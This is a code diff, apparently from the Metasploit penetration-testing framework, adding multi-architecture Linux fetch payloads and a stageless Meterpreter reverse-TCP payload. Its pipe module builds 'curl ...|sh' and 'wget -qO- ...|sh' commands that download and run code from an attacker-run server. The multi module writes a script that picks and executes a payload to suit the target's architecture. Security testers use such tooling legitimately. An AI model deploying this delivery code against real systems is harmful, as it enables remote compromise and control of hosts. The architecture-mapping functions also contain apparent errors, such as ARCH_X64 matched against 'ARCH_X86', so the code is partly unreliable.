+21,10 @@ def cleanup_handler def setup_handler unless datastore['FetchHandlerDisable'] @fetch_service = start_https_fetch_handler(srvname) - escaped_uri = ('/' + srvuri).gsub('//', '/') - add_resource(@fetch_service, escaped_uri, @srvexe) - unless @pipe_uri.nil? - uri = ('/' + @pipe_uri).gsub('//', '/') - add_resource(@fetch_service, uri, @pipe_cmd) + @srv_resources.each do |srv_data| + escaped_uri = ('/' + srv_data[:uri]).gsub('//', '/') + @myresources << escaped_uri + add_resource(@fetch_service, escaped_uri, srv_data[:data]) end end super diff --git a/lib/msf/core/payload/adapter/fetch/multi.rb b/lib/msf/core/payload/adapter/fetch/multi.rb new file mode 100644 index 0000000000000..b72d8b4d1ad89 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/multi.rb @@ -0,0 +1,93 @@ +module Msf + ### + # + # Common library for http multi-arch fetch payloads + # + ### + module Payload::Adapter::Fetch::Multi + + def _generate_multi_commands(arch_payloads = []) + # There is a great deal of room for improvement here. + script = 'archinfo=$(uname -m);' + arch_payloads.each do |srv_entry| + vprint_status("Adding #{srv_entry[:uri]} for #{srv_entry[:arch]}") + datastore['FETCH_FILENAME'] = srv_entry[:uri].dup + vprint_status(datastore['FETCH_FILENAME']) + vprint_status(datastore['FETCH_FILENAME']) + os_arches(srv_entry[:arch]).each do |os_arch| + # placing an exit after the conditionals causes 'FETCH_FILELESS to fail' + if datastore['FETCH_FILELESS'] == 'none' + script << "if [ #{os_arch} = $archinfo ]; then (#{generate_fetch_commands(srv_entry[:uri])}); exit ;fi; " + else + script << "if [ #{os_arch} = $archinfo ]; then (#{generate_fetch_commands(srv_entry[:uri])}); fi; " + end + end + vprint_status(datastore['FETCH_FILENAME']) + end + script << _generate_bruteforce_multi_commands(arch_payloads) if datastore['FETCH_BRUTEFORCE'] + vprint_status(script) + script + end + + def _generate_bruteforce_multi_commands(arch_payloads = []) + # Don't bother trying to figure out the OS arch.... just try to run them all. + script = '' + arch_payloads.each do |srv_entry| + vprint_status("Adding #{srv_entry[:uri]} for #{srv_entry[:arch]}") + datastore['FETCH_FILENAME'] = srv_entry[:uri].dup + vprint_status(datastore['FETCH_FILENAME']) + script << generate_fetch_commands(srv_entry[:uri]).to_s + end + print_status(script) + script + end + + def os_arches(meterp_arch) + # multiple `uname -m` values map to the same payload arch + # we will probably need to expand this + case meterp_arch + when ARCH_AARCH64 + return ['aarch64'] + when ARCH_ARMBE + return ['armbe'] + when ARCH_ARMLE + return ['armv5l', 'armv6l', 'armv7l'] + when ARCH_MIPS64 + return ['mips64'] + when ARCH_MIPSBE + return ['mipsbe'] + when ARCH_MIPSLE + return ['mips'] + when ARCH_PPC + return ['ppc'] + when ARCH_PPCE500V2 + return ['ppce500v2'] + when ARCH_PPC64LE + return ['ppc64le'] + when ARCH_X64 + return ['x64', 'x86_64'] + when ARCH_X86 + return ['x86'] + when ARCH_ZARCH + return ['zarch'] + end + end + + def multi_arches + arches = [] + arches << ARCH_AARCH64 + arches << ARCH_ARMBE + arches << ARCH_ARMLE + arches << ARCH_MIPS64 + arches << ARCH_MIPSBE + arches << ARCH_MIPSLE + arches << ARCH_PPC + arches << ARCH_PPCE500V2 + arches << ARCH_PPC64LE + arches << ARCH_X64 + arches << ARCH_X86 + arches << ARCH_ZARCH + arches + end + end +end diff --git a/lib/msf/core/payload/adapter/fetch/pipe.rb b/lib/msf/core/payload/adapter/fetch/pipe.rb new file mode 100644 index 0000000000000..54b441b4542b4 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/pipe.rb @@ -0,0 +1,64 @@ +module Msf + ### + # + # Common library for pipe-enabled fetch payloads + # + ### + module Payload::Adapter::Fetch::Pipe + + def _download_pipe(uripath) + "#{srvnetloc}/#{uripath}" + end + + def pipe_supported_binaries + # this is going to expand when we add psh support + return %w[CURL] if windows? + + %w[WGET CURL] + end + + def generate_pipe_command(uri) + # TODO: Make a check method that determines if we support a platform/server/command combination + + case datastore['FETCH_COMMAND'].upcase + when 'WGET' + return _generate_wget_pipe(uri) + when 'CURL' + return _generate_curl_pipe(uri) + else + fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.") + end + end + + def pipe_srvuri + return datastore['FETCH_URIPATH'] unless datastore['FETCH_URIPATH'].blank? + + default_srvuri('pipe') + end + + def _generate_curl_pipe(uri) + execute_cmd = 'sh' + execute_cmd = 'cmd' if windows? + case fetch_protocol + when 'HTTP' + return "curl -s http://#{_download_pipe(uri)}|#{execute_cmd}" + when 'HTTPS' + return "curl -sk https://#{_download_pipe(uri)}|#{execute_cmd}" + else + fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}") + end + end + + def _generate_wget_pipe(uri) + case fetch_protocol + when 'HTTPS' + return "wget --no-check-certificate -qO- https://#{_download_pipe(uri)}|sh" + when 'HTTP' + return "wget -qO- http://#{_download_pipe(uri)}|sh" + else + fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}") + end + end + + end +end diff --git a/lib/msf/core/payload/adapter/fetch/server/http.rb b/lib/msf/core/payload/adapter/fetch/server/http.rb index 9b24273bd037a..a91d77e3ce6e6 100644 --- a/lib/msf/core/payload/adapter/fetch/server/http.rb +++ b/lib/msf/core/payload/adapter/fetch/server/http.rb @@ -1,104 +1,103 @@ -module Msf::Payload::Adapter::Fetch::Server::HTTP - +module Msf # This mixin supports only HTTP fetch handlers. + module Payload::Adapter::Fetch::Server::HTTP + def initialize(*args) + super + register_advanced_options( + [ + Msf::OptString.new('FetchHttpServerName', [true, 'Fetch HTTP server name', 'Apache']) + ] + ) + end - def initialize(*args) - super - register_advanced_options( - [ - Msf::OptString.new('FetchHttpServerName', [true, 'Fetch HTTP server name', 'Apache']) - ] - ) - end - - def fetch_protocol - 'HTTP' - end + def fetch_protocol + 'HTTP' + end - def srvname - datastore['FetchHttpServerName'] - end + def srvname + datastore['FetchHttpServerName'] + end - def add_resource(fetch_service, uri, srvexe) - vprint_status("Adding resource #{uri}") - begin - if fetch_service.resources.include?(uri) + def add_resource(fetch_service, uri, srvexe) + vprint_status("Adding resource #{uri}") + begin + if fetch_service.resources.include?(uri) + # When we clean up, we need to leave resources alone, because we never added one. + fail_with(Msf::Exploit::Failure::BadConfig, 'Resource collision detected. Set FETCH_URIPATH to a different value to continue.') + end + fetch_service.add_resource(uri, + 'Proc' => proc do |cli, req| + on_request_uri(cli, req, srvexe) + end, + 'VirtualDirectory' => true) + rescue ::Exception => e # When we clean up, we need to leave resources alone, because we never added one. - fail_with(Msf::Exploit::Failure::BadConfig, "Resource collision detected. Set FETCH_URIPATH to a different value to continue.") + fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n#{e}") end - fetch_service.add_resource(uri, - 'Proc' => proc do |cli, req| - on_request_uri(cli, req, srvexe) - end, - 'VirtualDirectory' => true) - rescue ::Exception => e - # When we clean up, we need to leave resources alone, because we never added one. - fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n#{e}") + @myresources << uri end - @myresources << uri - end - def cleanup_http_fetch_service(fetch_service, my_resources) - my_resources.each do |uri| - if fetch_service.resources.include?(uri) - fetch_service.remove_resource(uri) + def cleanup_http_fetch_service(fetch_service, my_resources) + my_resources.each do |uri| + if fetch_service.resources.include?(uri) + fetch_service.remove_resource(uri) + end end + fetch_service.deref end - fetch_service.deref - end - - def start_http_fetch_handler(srvname, ssl=false, ssl_cert=nil, ssl_compression=nil, ssl_cipher=nil, ssl_version=nil) - # this looks a bit funny because I converted it to use an instance variable so that if we crash in the - # middle and don't return a value, we still have the right fetch_service to clean up. - fetch_service = start_http_server(ssl, ssl_cert, ssl_compression, ssl_cipher, ssl_version) - if fetch_service.nil? - cleanup_handler - fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{fetch_bindnetloc}") + def start_http_fetch_handler(srvname, ssl = false, ssl_cert = nil, ssl_compression = nil, ssl_cipher = nil, ssl_version = nil) + # this looks a bit funny because I converted it to use an instance variable so that if we crash in the + # middle and don't return a value, we still have the right fetch_service to clean up. + fetch_service = start_http_server(ssl, ssl_cert, ssl_compression, ssl_cipher, ssl_version) + if fetch_service.nil? + cleanup_handler + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{fetch_bindnetloc}") + end + vprint_status("#{fetch_protocol} server started") + fetch_service.server_name = srvname + fetch_service end - vprint_status("#{fetch_protocol} server started") - fetch_service.server_name = srvname - fetch_service - end - def on_request_uri(cli, request, srvexe) - client = cli.peerhost - vprint_status("Client #{client} requested #{request.uri}") - if (user_agent = request.headers['User-Agent']) - client += " (#{user_agent})" + def on_request_uri(cli, request, srvexe) + client = cli.peerhost + vprint_status("Client #{client} requested #{request.uri}") + if (user_agent = request.headers['User-Agent']) + client += " (#{user_agent})" + end + vprint_status("Sending payload to #{client}") + cli.send_response(payload_response(srvexe)) end - vprint_status("Sending payload to #{client}") - cli.send_response(payload_response(srvexe)) - end - def payload_response(srvexe) - res = Rex::Proto::Http::Response.new(200, 'OK', Rex::Proto::Http::DefaultProtocol) - res['Content-Type'] = 'text/html' - res.body = srvexe.to_s.unpack('C*').pack('C*') - res - end + def payload_response(srvexe) + res = Rex::Proto::Http::Response.new(200, 'OK', Rex::Proto::Http::DefaultProtocol) + res['Content-Type'] = 'text/html' + res.body = srvexe.to_s.unpack('C*').pack('C*') + res + end - def start_http_server(ssl=false, ssl_cert=nil, ssl_compression=nil, ssl_cipher=nil, ssl_version=nil) - begin - fetch_service = Rex::ServiceManager.start( - Rex::Proto::Http::Server, - fetch_bindport, fetch_bindhost, ssl, - { - 'Msf' => framework, - 'MsfExploit' => self - }, - _determine_server_comm(fetch_bindhost), - ssl_cert, - ssl_compression, - ssl_cipher, - ssl_version - ) - rescue Exception => e - cleanup_handler - fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{fetch_bindnetloc}\n#{e}") + def start_http_server(ssl = false, ssl_cert = nil, ssl_compression = nil, ssl_cipher = nil, ssl_version = nil) + begin + fetch_service = Rex::ServiceManager.start( + Rex::Proto::Http::Server, + fetch_bindport, fetch_bindhost, ssl, + { + 'Msf' => framework, + 'MsfExploit' => self + }, + _determine_server_comm(fetch_bindhost), + ssl_cert, + ssl_compression, + ssl_cipher, + ssl_version + ) + rescue Exception => e + cleanup_handler + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{fetch_bindnetloc}\n#{e}") + end + vprint_status("Fetch handler listening on #{fetch_bindnetloc}") + fetch_service end - vprint_status("Fetch handler listening on #{fetch_bindnetloc}") - fetch_service end end diff --git a/lib/msf/core/payload/adapter/fetch/server/tftp.rb b/lib/msf/core/payload/adapter/fetch/server/tftp.rb index 38290616f7f1d..fc86623ca4f93 100644 --- a/lib/msf/core/payload/adapter/fetch/server/tftp.rb +++ b/lib/msf/core/payload/adapter/fetch/server/tftp.rb @@ -21,14 +21,16 @@ def fetch_protocol 'TFTP' end + def add_resource(fetch_service, srvuri, srvexe) + fetch_service.register_file(srvuri, srvexe, datastore['FETCH_SRVONCE']) + end + def start_tftp_fetch_handler(srvport, srvhost, srvuri, srvexe) fetch_service = start_tftp_server(srvport, srvhost) if fetch_service.nil? cleanup_handler fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{srvhost}:#{srvport}\n#{e}") end - fetch_service.register_file(srvuri, srvexe, datastore['FETCH_SRVONCE']) - fetch_service.start fetch_service end diff --git a/lib/msf/core/payload/adapter/fetch/tftp.rb b/lib/msf/core/payload/adapter/fetch/tftp.rb index f4f8685582cdc..68ce932f827d5 100644 --- a/lib/msf/core/payload/adapter/fetch/tftp.rb +++ b/lib/msf/core/payload/adapter/fetch/tftp.rb @@ -19,7 +19,14 @@ def cleanup_handler end def setup_handler - @fetch_service = start_tftp_fetch_handler(fetch_bindport, fetch_bindhost, srvuri, @srvexe) unless datastore['FetchHandlerDisable'] + unless datastore['FetchHandlerDisable'] + @fetch_service = start_tftp_server(fetch_bindport, fetch_bindhost) + @srv_resources.each do |srv_data| + @myresources << srv_data[:uri] + add_resource(@fetch_service, srv_data[:uri], srv_data[:data]) + end + end + @fetch_service.start super end diff --git a/lib/msf/core/payload/linux/multi_arch.rb b/lib/msf/core/payload/linux/multi_arch.rb new file mode 100644 index 0000000000000..bbc8646d1a5ea --- /dev/null +++ b/lib/msf/core/payload/linux/multi_arch.rb @@ -0,0 +1,93 @@ + +# Linux Multi shared logic. +# +module Msf::Payload::Linux::MultiArch + def initialize(info = {}) + super + register_options( + [ + Msf::OptEnum.new('REQUESTED_ARCH', [true, 'The desired architecture of the returned payload.', 'NONE', [ 'NONE', 'ARCH_AARCH64', 'ARCH_ARMBE', 'ARCH_ARMLE', 'ARCH_MIPS64', 'ARCH_MIPSBE', 'ARCH_MIPSLE', 'ARCH_PPC', 'ARCH_PPCE500V2', 'ARCH_PPC64LE', 'ARCH_X64', 'ARCH_X86', 'ARCH_ZARCH' ]]), + ] + ) + end + + def generate_payload_uuid(conf = {}) + conf[:arch] = metasploit_arch_transform(desired_arch(conf)) + super + end + + def include_send_uuid + true + end + + def mettle_arch_transform(arch) + case arch + when ARCH_AARCH64, 'ARCH_AARCH64' + return 'aarch64-linux-musl' + when ARCH_ARMBE, 'ARCH_ARMBE' + return 'armv5b-linux-musleabi' + when ARCH_ARMLE, 'ARCH_ARMLE' + return 'armv5l-linux-musleabi' + when ARCH_MIPS64, 'ARCH_MIPS64' + return 'mips64-linux-muslsf' + when ARCH_MIPSBE, 'ARCH_MIPSBE' + return 'mips-linux-muslsf' + when ARCH_MIPSLE, 'ARCH_MIPSLE' + return 'mipsel-linux-muslsf' + when ARCH_PPC, 'ARCH_PPC' + return 'powerpc-linux-muslsf' + when ARCH_PPCE500V2, 'ARCH_PPCE500V3' + return 'powerpc-e500v2-linux-musl' + when ARCH_PPC64LE, 'ARCH_PPC64LE' + return 'powerpc64le-linux-musl' + when ARCH_X64, 'ARCH_X86' + return 'x86_64-linux-musl' + when ARCH_X86, 'ARCH_X86' + return 'i486-linux-musl' + when ARCH_ZARCH, 'ARCH_ZARCH' + return 's390x-linux-musl' + else + return nil + end + end + + def metasploit_arch_transform(arch) + case arch + when ARCH_AARCH64, 'ARCH_AARCH64' + return ARCH_AARCH64 + when ARCH_ARMBE, 'ARCH_ARMBE' + return ARCH_ARMBE + when ARCH_ARMLE, 'ARCH_ARMLE' + return ARCH_ARMLE + when ARCH_MIPS64, 'ARCH_MIPS64' + return ARCH_MIPS64 + when ARCH_MIPSBE, 'ARCH_MIPSBE' + return ARCH_MIPSBE + when ARCH_MIPSLE, 'ARCH_MIPSLE' + return ARCH_MIPSLE + when ARCH_PPC, 'ARCH_PPC' + return ARCH_PPC + when ARCH_PPCE500V2, 'ARCH_PPCE500V3' + return ARCH_PPCE500V2 + when ARCH_PPC64LE, 'ARCH_PPC64LE' + return ARCH_PPC64LE + when ARCH_X64, 'ARCH_X86' + return ARCH_X64 + when ARCH_X86, 'ARCH_X86' + return ARCH_X86 + when ARCH_ZARCH, 'ARCH_ZARCH' + return ARCH_ZARCH + else + return nil + end + end + + def desired_arch(opts = {}) + if datastore.include?('REQUESTED_ARCH') && datastore['REQUESTED_ARCH'] != 'NONE' + return_arch = datastore['REQUESTED_ARCH'] + else + return_arch = opts[:arch] + end + return_arch + end +end diff --git a/modules/payloads/adapters/cmd/linux/http/multi.rb b/modules/payloads/adapters/cmd/linux/http/multi.rb new file mode 100644 index 0000000000000..990ad2d21aa89 --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/http/multi.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::HTTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTP Fetch', + 'Description' => 'Fetch and execute a script to determine the host arch and execute a payload from an HTTP server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_ANY, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/https/multi.rb b/modules/payloads/adapters/cmd/linux/https/multi.rb new file mode 100644 index 0000000000000..ebed56cec4552 --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/https/multi.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::Https + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTPS Fetch', + 'Description' => 'Fetch and execute a script to determine the host arch and execute a payload from an HTTPS server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_ANY, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb new file mode 100644 index 0000000000000..026477e9dc2ca --- /dev/null +++ b/modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb @@ -0,0 +1,38 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = 1140752 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::MultiArch # must be last + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => 'Brendan Watters ', + 'Platform' => 'linux', + 'Arch' => ARCH_ANY, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::MeterpreterMultiLinux + ) + ) + end + + def generate(opts = {}) + mettle_arch = mettle_arch_transform(desired_arch(opts)) + opts = { + scheme: 'tcp', + stageless: true + }.merge(mettle_logging_config) + MetasploitPayloads::Mettle.new(mettle_arch, generate_config(opts)).to_binary :exec + end +end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index a067282c011b1..b20f5d81e0e1a 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -508,6 +508,22 @@ reference_name: 'bsdi/x86/shell_reverse_tcp' end + context 'cmd/linux/http/multi' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/http/multi' + ], + reference_name: 'cmd/linux/http/multi' + end + + context 'cmd/linux/https/multi' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/https/multi' + ], + reference_name: 'cmd/linux/https/multi' + end + context 'cmd/linux/http/mips64' do it_should_behave_like 'payload is not cached', ancestor_reference_names: [ @@ -6058,6 +6074,14 @@ reference_name: 'windows/meterpreter/reverse_winhttps' end + context 'linux/multi/meterpreter_reverse_tcp' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'singles/linux/multi/meterpreter_reverse_tcp', + ], + reference_name: 'linux/multi/meterpreter_reverse_tcp' + end + context 'linux/mips64/meterpreter_reverse_http' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [